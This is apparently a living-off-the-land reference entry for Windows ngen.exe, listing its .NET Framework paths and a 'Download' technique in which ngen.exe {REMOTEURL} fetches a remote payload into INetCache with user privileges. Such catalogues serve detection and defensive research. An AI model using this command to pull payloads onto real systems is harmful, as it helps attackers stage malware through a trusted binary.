Ngen.exe

Microsoft Native Image Generator.

Paths

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\ngen.exe
  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ngen.exe
  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe

Commands

Download

Downloads payload from remote server using the Microsoft Native Image Generator utility.

Use case: It will download a remote payload and place it in INetCache.

Privileges: User

ngen.exe {REMOTEURL}